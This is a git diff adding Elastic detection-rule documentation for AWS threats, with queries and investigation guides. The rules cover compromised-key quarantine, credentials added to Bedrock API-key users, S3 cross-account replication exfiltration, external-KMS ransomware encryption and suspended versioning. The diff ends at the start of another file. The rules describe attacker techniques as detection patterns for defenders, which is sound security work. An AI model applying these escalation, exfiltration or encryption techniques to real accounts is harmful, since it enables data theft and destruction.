https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantineV2.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM CompromisedKeyQuarantine Policy Attached to User* + + +The AWS IAM `CompromisedKeyQuarantine` and `CompromisedKeyQuarantineV2` managed policies deny certain action and is applied by the AWS team to a user with exposed credentials. +This action is accompanied by a support case which specifies instructions to follow before detaching the policy. + + +*Possible Investigation Steps* + + +- **Identify Potentially Compromised Identity**: Review the `userName` parameter of the `aws.cloudtrail.request_parameters` to determine the quarantined IAM entity. +- **Contextualize with AWS Support Case**: Review any information from AWS comtaining additional information about the quarantined account and the reasoning for quarantine. +- **Follow Support Case Instructions**: Do not revert the quarantine policy attachment or delete the compromised keys. Instead folow the instructions given in your support case. +- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor or IP address engaged in potentially suspicious activities. +- **Interview Relevant Personnel**: If the compromised key belongs to a user, verify the intent and authorization for these correlated actions with the person or team responsible for managing the compromised key. + + +*False Positive Analysis* + + +- There shouldn't be many false positives related to this action as it is inititated by AWS in response to compromised or publicly exposed credentials. + + +*Response and Remediation* + + +- **Immediate Review and Reversal**: Update the user IAM permissions to remove the quarantine policy and disable the compromised credentials. +- **Policy Update**: Review and possibly update your organization’s policies on credential storage to tighten control and prevent public exposure. +- **Incident Response**: If malicious intent is confirmed, consider it a data breach incident and initiate the incident response protocol. This includes further investigation, containment, and recovery. + + +*Additional Information:* + + +For further guidance on managing and securing credentials in AWS environments, refer to the https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html[AWS IAM User Guide] regarding security best practices and guidance on https://docs.aws.amazon.com/guardduty/latest/ug/compromised-creds.html[Remediating Potentially Compromised AWS Credentials]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "aws.cloudtrail" + and event.action == "AttachUserPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "AWSCompromisedKeyQuarantine") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user.asciidoc new file mode 100644 index 0000000000..6464bb0161 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-36-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user]] +=== AWS IAM Credentials Added to a Bedrock API Key Phantom User + +Identifies standard IAM credentials being added to an Amazon Bedrock API key phantom user, whose user name starts with "BedrockAPIKey-": either a long-term access key (CreateAccessKey) or a console password / login profile (CreateLoginProfile, UpdateLoginProfile). When a long-term Bedrock API key is generated through the AWS Console, AWS silently provisions a "BedrockAPIKey-" IAM user with the AmazonBedrockLimitedAccess managed policy. That user is intended only to back a Bedrock bearer token and should never hold standard programmatic keys or interactive console access. Adding either converts a Bedrock-scoped identity into general-purpose IAM credentials that inherit the policy's Bedrock control-plane and IAM, VPC, and KMS reconnaissance permissions and that persist after the Bedrock API key is revoked. This is the privilege-escalation and persistence pivot documented for Bedrock API key phantom users, and there is no legitimate workflow that produces it. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-guide-api-keys-detection-response +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-api-keys +* https://docs.aws.amazon.com/bedrock/latest/userguide/api-keys.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: GenAI +* Service: AWS IAM +* Service: AWS Bedrock +* Mitre Atlas: AML.T0012 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Credentials Added to a Bedrock API Key Phantom User* + + +Amazon Bedrock API keys authenticate with a bearer token. When a long-term key is created through the AWS Console, AWS provisions an IAM user named "BedrockAPIKey-" and attaches the AmazonBedrockLimitedAccess managed policy. That policy is broader than its name suggests: it grants Bedrock control-plane actions (including deletion of guardrails, custom models, and provisioned throughput) as well as IAM, VPC, and KMS reconnaissance. The phantom user is meant only to back the bearer token and should never hold standard access keys or an interactive console login. + +Adding an IAM access key (CreateAccessKey) or a console password (CreateLoginProfile/UpdateLoginProfile) to the phantom user escalates a Bedrock-scoped identity into general-purpose IAM credentials or interactive access that inherit the full policy scope and continue to work after the originating Bedrock API key is revoked. This is a deliberate privilege-escalation and persistence step. + + +*Possible investigation steps* + + +- Identify the actor in "aws.cloudtrail.user_identity.arn" and "aws.cloudtrail.user_identity.type", and review "source.ip" and "user_agent.original" for whether this is an expected administrator. +- Confirm the target phantom user and the credential type in "event.action" and "aws.cloudtrail.request_parameters", and enumerate the user's remaining credentials (service-specific credentials, access keys, login profile). +- Review the phantom user's subsequent activity for use of the new credential outside Bedrock (IAM, VPC, KMS, STS calls, or console logins). +- Correlate with the key-creation events (CreateUser and CreateServiceSpecificCredential for the same user) to reconstruct the timeline. + + +*False positive analysis* + + +- This should be near-zero. There is no standard workflow that adds access keys or login profiles to a "BedrockAPIKey-*" user. Treat any hit as suspicious until proven otherwise. + + +*Response and remediation* + + +- Remove the access key or login profile on the phantom user and, if compromise is suspected, deactivate or delete the associated Bedrock service-specific credential. +- Review the actor's recent activity and rotate or restrict its credentials. +- Deploy a Service Control Policy that denies "iam:CreateAccessKey" and "iam:CreateLoginProfile" on "arn:aws:iam::*:user/BedrockAPIKey-*" to block this pivot organization-wide. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* METADATA _id, _version, _index +| WHERE event.provider == "iam.amazonaws.com" + AND event.action IN ("CreateAccessKey", "CreateLoginProfile", "UpdateLoginProfile") + AND event.outcome == "success" + AND user.target.name LIKE "BedrockAPIKey-*" +| KEEP _id, _version, _index, @timestamp, aws.*, cloud.*, event.*, source.*, user.*, user_agent.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-s3-bucket-replicated-to-another-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-s3-bucket-replicated-to-another-account.asciidoc new file mode 100644 index 0000000000..f285a23d25 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-s3-bucket-replicated-to-another-account.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-36-aws-s3-bucket-replicated-to-another-account]] +=== AWS S3 Bucket Replicated to Another Account + +Identifies the creation or modification of an S3 bucket replication configuration that sends data to a bucket in a different AWS account. Cross-account replication can be used legitimately for backup, disaster recovery, and multi-account architectures, but adversaries with write access to an S3 bucket may abuse replication rules to silently exfiltrate large volumes of data to attacker-controlled accounts. This rule detects "PutBucketReplication" events where the configured destination account differs from the source bucket's account, indicating potential unauthorized cross-account data movement. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication-walkthrough-2.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketReplication.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 +* Tactic: Exfiltration +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Replicated to Another Account* + + +Cross-account S3 replication enables automated copying of S3 objects into a different AWS bucket. While useful for backup and organizational data flows, adversaries may exploit it as a covert exfiltration channel. Once replication is configured, any future writes to the bucket are silently copied to the destination bucket—even if object-level access controls block the attacker’s direct downloads. For this reason, unauthorized replication configuration should be considered high-risk. + +This rule detects successful `PutBucketReplication` events and flags cases where the replication configuration specifies a destination AWS account different from the source. + + +*Possible investigation steps* + + +**Understand who initiated the replication change** +- Inspect `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify the actor. +- Review authentication patterns such as federated session names, role chaining via STS, or unfamiliar IAM roles. +- Examine `source.ip`, `source.geo` fields, and `user_agent.original` for unusual locations, automation tools, or anomalous access paths. + +**Examine the replication rule details** +- Inspect `aws.cloudtrail.request_parameters` for: + - The **destination account ID** (`Account=`). + - The **IAM role ARN** used for replication. (`Role=`) + - Any filtering rules (prefixes, tags) that narrow or broaden what will be replicated. + +**Determine whether the destination account is authorized** +- Validate whether the destination AWS account belongs to your AWS Organization. +- Check internal documentation, IaC templates, or tagging standards to confirm whether replication to this account is expected. +- Look for prior legitimate infrastructure workflows such as: + - Centralized logging + - Backup/DR accounts + - Cross-region compliance replicas + +Unrecognized accounts should be treated as a strong exfiltration signal. + +**Assess the scope of potential data exposure** +- Determine whether the bucket contains sensitive or regulated data (PII, financial records, secrets, logs, etc.). +- Identify whether object versioning, lifecycle rules, or access logging were modified recently. +- Check for preceding or subsequent actions such as: + - `PutBucketPolicy` updates granting new principals access + - Creation or modification of IAM roles tied to replication + - `DeleteObject` or `PutObjectRetention` attempts that might pair with exfiltration + +**Correlate with other suspicious activity** +Pivot in CloudTrail on the same principal or same bucket: +- Prior reconnaissance such as `ListBuckets`, `GetBucketReplication`, or `GetBucketPolicy` +- Modification of KMS policies or unexpected encryption key usage +- New access patterns from external IP addresses or unusual automation + + +*False positive analysis* + + +**Legitimate cross-account replication** +Validate: +- The destination account belongs to a known OU or business unit +- The replication role ARN matches expected automation +- The change aligns with documented deployment or maintenance schedules + +**Temporary migrations or transitions** +During account restructuring or workload migration, administrators may temporarily redirect replication to new accounts. + +Tuning options: +- Exception lists based on IAM role ARNs +- Tag-based environment scoping +- Change-window-based suppression + + +*Response and remediation* + + +**Contain potential exfiltration** +- Remove or update replication rules to eliminate unauthorized destinations. +- Disable or restrict the replication IAM role until the investigation is complete. +- Review S3 object access logs to determine whether data has begun replicating to the external account. + +**Investigate scope and impact** +- Identify the volume and types of data at risk of replication. +- Determine whether the external bucket shows successful replication traffic (if logs or access are available). +- Assess whether the actor also modified bucket policies, encryption settings, or KMS keys. + +**Credential and role hygiene** +- Rotate credentials for the initiating user or role if compromise is suspected. +- Review IAM role trust policies, especially if STS sessions or EC2 role assumptions were involved. +- Enable MFA and tighten conditions for administrative roles capable of modifying replication. + +**Hardening and preventive controls** +- Enforce SCPs that restrict cross-account replication except for explicitly approved destinations. +- Require approval workflows before modifying replication or retention settings. +- Use AWS Config and Security Hub controls to detect: + - Buckets with unexpected replication rules + - Newly added cross-account permissions + - Changes to bucket policies, block-public-access settings, or KMS key policies + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.action == "PutBucketReplication" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Account=") + and not user_agent.original like~ ("*Terraform*", "*Pulumi*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-s3-object-encryption-using-external-kms-key.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-s3-object-encryption-using-external-kms-key.asciidoc new file mode 100644 index 0000000000..bbbbf9a670 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-s3-object-encryption-using-external-kms-key.asciidoc @@ -0,0 +1,244 @@ +[[prebuilt-rule-8-19-36-aws-s3-object-encryption-using-external-kms-key]] +=== AWS S3 Object Encryption Using External KMS Key + +Identifies use of the S3 CopyObject API where the destination object is encrypted using an AWS KMS key from an external AWS account. This behavior may indicate ransomware-style impact activity where an adversary with access to a misconfigured S3 bucket encrypts objects using a KMS key they control, preventing the bucket owner from decrypting their own data. This technique is a critical early signal of destructive intent or cross-account misuse. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingKMSEncryption.html +* https://docs.aws.amazon.com/kms/latest/APIReference/API_GenerateDataKey.html +* https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Data Source: AWS KMS +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: ES|QL +* Platform: AWS +* Service: AWS S3 +* Service: AWS KMS + +*Version*: 15 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Object Encryption Using External KMS Key* + + +This rule detects when an S3 `CopyObject` operation encrypts an object using a KMS key belonging to a different AWS account than the bucket owner. This behavior is unusual and a strong indicator of: + +- Cloud ransomware techniques, where adversaries encrypt data using a key only they control. +- Cross-account privilege misuse, especially when an unauthorized principal has write access to S3. +- Misconfigured bucket permissions, enabling principals from another account to perform privileged copy operations. +- Early impact-stage activity in incidents where attackers prepare to destroy availability or deny the owner access. + +The rule uses ESQL to identify cases where the `cloud.account.id` (bucket owner) differs from the dissected `kms_key_account_id` used for encrypting the new object version. + + + +*Possible investigation steps* + + +**Identify the actor and access pathway** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. +- Check whether the caller is: + - A legitimate cross-account automation role, + - A compromised IAM user or workload identity, or + - A federated identity behaving outside of normal patterns. +- Inspect `user_agent.original` to determine whether the action came from the AWS Console, CLI, SDK, or unusual tooling. + +**Analyze the encryption behavior** +- Inspect the dissected KMS key fields: + - `Esql.aws_cloudtrail_request_parameters_kms_key_account_id` + - `Esql.aws_cloudtrail_request_parameters_kms_key_id` +- Confirm whether the external key: + - Belongs to an attacker-controlled account, + - Is unknown to your organization, or + - Lives in a shared or security tooling account. + +**Assess the objects affected** +- Review: + - `Esql.aws_cloudtrail_request_parameters_target_bucket_name` + - `Esql.aws_cloudtrail_request_parameters_target_object_key` +- Identify: + - Whether objects were overwritten or new encrypted copies were created. + - The sensitivity or criticality of the affected data. + - Whether object versioning is enabled (important for recovery). + +**Correlate surrounding access patterns** +Pivot in CloudTrail on: +- The same access key ID +- The same IAM principal +- Affected bucket ARN + +Look for: +- `DeleteObject` or `DeleteObjects` calls (common in ransomware behavior) +- Mass enumeration prior to the event (`ListObjectsV2`, `GetObject`) +- Other impact-stage actions (`PutBucketPolicy`, `PutBucketAcl`, disabling logging) +- Attempts to encrypt additional objects in rapid succession + +**Evaluate bucket permissions and exposure** +Review: +- S3 bucket policy changes +- IAM roles with `s3:PutObject` or `s3:PutObjectAcl` permissions +- Whether unintended cross-account `Principal` entries exist +- Whether the KMS key policy explicitly trusts your account or a foreign one + +**Validate business justification** +- Confirm with storage, data engineering, or application teams whether: + - Any migration, transformation, or backup workflows should be encrypting objects cross-account. + - Scheduled jobs or CI/CD pipelines were operating at the time of the event. + + +*False positive analysis* + + +- **Expected cross-account encryption** + Many organizations use centralized encryption accounts or shared security accounts. Validate: + - Whether the KMS key account is part of your AWS Organization + - Whether the workflow, role, or application is documented + - Whether the principal routinely performs CopyObject operations + + +*Response and remediation* + + +**Contain and prevent further impact** +- Immediately restrict S3 write access for the principal involved. +- If the KMS key is attacker-controlled, the impacted objects may be unrecoverable without versioning. +- If object versioning is disabled, enable it on the affected bucket to strengthen future resilience. + +**Investigate scope and severity** +- Identify: + - Additional objects encrypted using external keys + - Related suspicious actions (delete, modify, exfiltration events) + - Whether any ransom markers or unauthorized files were uploaded +- Validate whether the external KMS key grants *decrypt* permission back to the bucket owner (rare in attacker use). + +**Recover and secure the bucket** +- Restore accessible previous versions if versioning is enabled. +- Revoke unauthorized access key pairs or session credentials. +- Audit bucket policies, ACLs, and IAM conditions (`aws:PrincipalArn`, `aws:SourceAccount`, `aws:SourceArn`). +- Tighten cross-account access controls: + - Remove unintended `Principal` clauses + - Restrict KMS usage to known accounts + - Enforce SCPs that block cross-account KMS use unless explicitly approved + +**Long-term hardening** +- Integrate object-level access logging and S3 server access logging into security monitoring. +- Add AWS Config rules (or Security Hub controls) detecting: + - Public buckets + - Cross-account access to S3 + - KMS policies permitting foreign principals +- Document required cross-account workflows and add explicit allowlists. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Setup + + +AWS S3 data event types need to be enabled in the CloudTrail trail configuration for CopyObject events. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* metadata _id, _version, _index + +// any successful S3 copy event +| where + data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "CopyObject" + and event.outcome == "success" + +// dissect request parameters to extract KMS key info and target object info +| dissect aws.cloudtrail.request_parameters + "{%{?bucketName}=%{Esql.aws_cloudtrail_request_parameters_target_bucket_name},%{?x-amz-server-side-encryption-aws-kms-key-id}=%{?arn}:%{?aws}:%{?kms}:%{?region}:%{Esql.aws_cloudtrail_request_parameters_kms_key_account_id}:%{?key}/%{Esql.aws_cloudtrail_request_parameters_kms_key_id},%{?Host}=%{?tls.client.server.name},%{?x-amz-server-side-encryption}=%{?server_side_encryption},%{?x-amz-copy-source}=%{?bucket.object.name},%{?key}=%{Esql.aws_cloudtrail_request_parameters_target_object_key}}" + +// detect cross-account key usage +| where cloud.account.id != Esql.aws_cloudtrail_request_parameters_kms_key_account_id + +// keep ECS and dissected fields +| keep + @timestamp, + data_stream.namespace, + user.name, + user_agent.original, + source.ip, + aws.cloudtrail.user_identity.arn, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.user_identity.access_key_id, + aws.cloudtrail.resources.arn, + aws.cloudtrail.resources.type, + event.action, + event.outcome, + cloud.account.id, + cloud.region, + aws.cloudtrail.request_parameters, + aws.cloudtrail.response_elements, + Esql.aws_cloudtrail_request_parameters_target_bucket_name, + Esql.aws_cloudtrail_request_parameters_target_object_key, + Esql.aws_cloudtrail_request_parameters_kms_key_account_id, + Esql.aws_cloudtrail_request_parameters_kms_key_id, + _id, + _version, + _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-s3-object-versioning-suspended.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-s3-object-versioning-suspended.asciidoc new file mode 100644 index 0000000000..cdd6159292 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-s3-object-versioning-suspended.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-36-aws-s3-object-versioning-suspended]] +=== AWS S3 Object Versioning Suspended + +Identifies when object versioning is suspended for an Amazon S3 bucket. Object versioning allows for multiple versions of an object to exist in the same bucket. This allows for easy recovery of deleted or overwritten objects. When object versioning is suspended for a bucket, it could indicate an adversary's attempt to inhibit system recovery following malicious activity. Additionally, when versioning is suspended, buckets can then be deleted. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketVersioning.html +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/ +* https://www.invictus-ir.com/news/ransomware-in-the-cloud/ +* https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 +* Tactic: Impact +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Object Versioning Suspended* + + +This rule detects when object versioning for an S3 bucket is suspended. S3 object versioning protects against data loss by maintaining prior versions of objects, allowing recovery if they are deleted or overwritten. +Adversaries with access to a misconfigured or compromised S3 bucket may disable versioning to inhibit recovery efforts, conceal data destruction, or prepare for ransomware-like activity. +This rule detects the use of the `PutBucketVersioning` API operation where the request parameters include `Status=Suspended`. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who performed the action. + - Verify whether this user or role has a legitimate operational reason to modify bucket versioning and whether such actions are common for this identity. + +- **Analyze the Source and Context** + - Review `source.ip` and `user_agent.original` to assess the origin of the request. + - Check for unusual geographic locations, IP ranges, or clients that do not typically manage storage configurations. + +- **Evaluate the Affected Resource** + - Review `aws.cloudtrail.resources.arn` or `aws.cloudtrail.request_parameters` to identify which bucket’s versioning was modified. + - Determine whether this bucket contains critical or regulated data (logs, backups, audit evidence, etc.) that would be impacted by versioning suspension. + +- **Correlate with Related Activity** + - Search for additional CloudTrail events performed by the same actor or IP address within the same timeframe, such as: + - `DeleteObject`, `DeleteObjects`, or `PutBucketLifecycle` events (potential data destruction). + - `PutBucketPolicy` or `PutBucketAcl` changes (permission manipulation). + - Review other detections related to S3 buckets or IAM changes to determine if this event is part of a larger sequence of destructive or unauthorized actions. + +- **Validate Intent** + - Confirm whether this configuration change aligns with approved maintenance or automation activity (e.g., cost optimization, test environment reset). + - If no corresponding change request or justification exists, treat this as a potential defense evasion or impact event. + + +*False positive analysis* + + +- **Legitimate Administrative Actions** + - Administrators or infrastructure automation tools may suspend versioning during migrations or lifecycle testing. Confirm through change management documentation. +- **Automation and Pipelines** + - Verify whether Infrastructure-as-Code tools (e.g., Terraform, CloudFormation) or backup lifecycle scripts routinely modify versioning states. + - Exclude predictable automation identities where justified, while ensuring strong audit controls remain in place. + + +*Response and remediation* + + +**Containment and Validation** +- Re-enable versioning immediately for the affected bucket using the AWS Console or CLI (`aws s3api put-bucket-versioning --bucket my-bucket --versioning-configuration Status=Enabled`). +- Verify the change with `get-bucket-versioning` to confirm the bucket is restored to “Enabled.” +- Identify IAM users or roles with `s3:PutBucketVersioning` permissions and restrict access to trusted administrators only. +- Preserve relevant CloudTrail, Config, and CloudWatch logs for the timeframe of the change to ensure integrity of investigation evidence. + +**Investigation and Scoping** +- Search CloudTrail for related actions by the same user or IP, including `DeleteObject`, `PutBucketLifecycle`, or `PutBucketPolicy`, to determine whether versioning suspension preceded object deletion or policy manipulation. +- Review S3 access logs or Data Events for deleted, overwritten, or newly uploaded files after versioning suspension. +- Validate if the change corresponds to an authorized change request or approved pipeline deployment. + +**Recovery and Hardening** +- If object loss or overwrites occurred, attempt recovery using cross-region replication, AWS Backup, or previous snapshot copies. +- Enable S3 Object Lock and MFA Delete on critical buckets to prevent future tampering. +- Configure the AWS Config rule `s3-bucket-versioning-enabled` to continuously monitor for versioning suspension and trigger automated alerts. +- Review IAM and service control policies to ensure the principle of least privilege is enforced for all S3 management actions. +- Document findings and update incident response procedures to include versioning protection as part of ransomware and data destruction prevention strategies. + + + +*Additional information* + +- AWS Documentation: https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html[Using Versioning in S3] +- API Reference: https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketVersioning.html[PutBucketVersioning] +- https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks] +- https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework] + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketVersioning" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Status=Suspended") + and not user_agent.original like~ ("*Terraform*", "*Pulumi*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-ssm-session-manager-child-process-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-ssm-session-manager-child-process-execution.asciidoc new file mode 100644 index 0000000000..0eee06c4b8 --- /dev/null +++ 